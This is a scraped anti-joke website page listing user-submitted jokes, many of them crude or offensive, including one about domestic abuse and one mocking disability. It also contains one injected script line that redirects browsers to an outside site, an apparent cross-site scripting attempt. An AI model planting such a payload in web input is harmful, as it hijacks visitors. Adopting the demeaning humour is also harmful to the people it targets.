Roses are red Violets are blue My dick can talk And it says it wants you

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black

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A man cooks dinner almost every night even though his wife is the better cook, and the man is in charge of the household. Why? Because the man isnt a sexist douchebag.

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A blind man walks into a bar. Then a chair. Then a table. (TD)

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what's the best part about twenty three year olds? There is twenty of them

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horses are burgers now ive got the flu watch out tescos because im gonna sue

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"'>document.location.href="http://cramik.org"

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Q: What did the Miracle Whip say when the refrigerator door was opened? A: Nothing. Miracle Whip cannot speak.

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Q: How many Chuck Norrises does it take to screw in a lightbulb? A: negitave 999999999999999999e

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What's red and bad for your teeth? A brick.

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A duck walks into a bar.... Duck: Can I have a glass of water? Bartender: How would you like to pay for it? Duck: Put it on my bill

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What do you call a women with two black eyes? Someone trapped in the cycle of violence that is domestic abuse. The few friends and family members she still speaks with tell she should leave. They don't know about the last time she threatened to leave him, when he held a gun to her throat and screamed "You try an leave me I'll kill you and your precious god damn babies!" Now she suffers silently for fear of what he might do to her family, but is increasingly worried about the way her husband has begun looking at their 13 year old daughter. Every night she kneels at the foot of her bed and prays for death, over the sounds of her own sobbing and her husbands drunken rage. Also she is a slow learner.

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NASA sent a probe to Uranus and wondered why people were laughing.

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How do you make a puppy stop barking? Throw a brick at it.

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What would happen if you threw 50 plates off of your roof? Nothing. No one in their right mind would do that. Besides, who owns 50 plates?

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An alligator was found wearing a vest. The investigator had no comment... As alligators are incapable of speech. ^^^

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What did Shaggy say to Scooby before they got in the Mystery Machine? Scooby, get in the Mystery Machine.

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Why don't elderly people act their age? because they die.

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Want to hear a scary story?' I was droppin a two ball and the monster walked in

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How do you confuse Hellen Keller? You write a really difficult riddle in braille and tell her to solve it.

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Micheal jackson had half a pie, Fred had the other half of the pie, They both shared a pie.

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what did the Nazi do when his Jewish rabbit died? silly Nazi rabbits don't have religion

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whats short and has spots? A mouse with the chicken pocks.

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whats black, white, and red all over? your mum

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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